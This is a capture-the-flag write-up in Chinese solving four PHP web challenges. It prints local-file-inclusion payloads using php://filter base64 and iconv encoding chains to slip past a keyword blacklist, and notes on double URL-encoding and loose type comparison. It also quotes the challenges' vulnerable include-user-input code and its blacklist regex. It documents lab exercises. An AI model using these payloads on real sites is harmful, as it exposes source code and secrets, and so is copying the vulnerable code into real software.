fileinclude
可以看到正常回显里面显示lan参数有cookie值表示为language
然后进行一个判断,如果参数不是等于英语,就加上.php,那我们就可以在前面进行注入一个参数,即flag,
payload:COOKIE:language=flag
发现还是无回显到flag.php里
可能存在的文件读取限制或过滤机制
利用 php://filter 和 language Cookie 组合,通过指定convert.base64 - encode,可以将读取到的文件内容进行 Base64 编码
Payload:Cookie: language=php://filter/convert.base64-encode/resource=flag
缘由:因为服务器可能只检查直接的文件路径访问,而没有考虑到经过编码转换的情况。
得到回显值为PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezhmYzdhY2U0MzE0OTg3Mjk0ZWZiMTFmMDM4ZDM0MTM3fSI7DQo/Pg==
解码可得
file_include
<?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?>当使用 convert.iconv.UTF - 8.UCS - 2 过滤器时,文件内容的编码被改变,原本在 UTF - 8 编码下能被识别的危险字符或模式,在 UCS - 2 编码下可能就无法被识别,从而绕过了服务器的过滤机制。
Payload:?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php
check.php的内容为:
<?php if($_GET["filename"])
{
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';if (eval($preg_match_username)){ die("do not hack!"); }
}
题目名称-文件包含
通过一开始的测试,我们可以发现显示我们有正常的过滤器,但是参数不对,那我们就开始进行模糊测试,对常见字符进行编码转换,发现还是不对,再对编码格式进行测试,先去搜索php支持的编码格式字典
放到爆破里去进行爆破,解出
Payload:?filename=php://filter/convert.iconv.BIG-5*.UCS-4*/resource=flag.php
解出该flag
PHP2
参考网上大佬的资料发现,这里要用到index.phps来查看php的源代码(没用的知识又增加了)
代码审计发现他要求id=admin的编码,所以我们进行编码后发现还是显示错误,后面发现经过一次编码,浏览器会自动进行一次解码环节,所以我们要进行二次编码才可以,得出flag
simple_php
两者看起来都有些矛盾
但在PHP中,参数a、b,在php中如果有1234abc和数字型作为比较的话,也会默认转换为数字型做对比
所以Payload:?a=0av&b=4321abb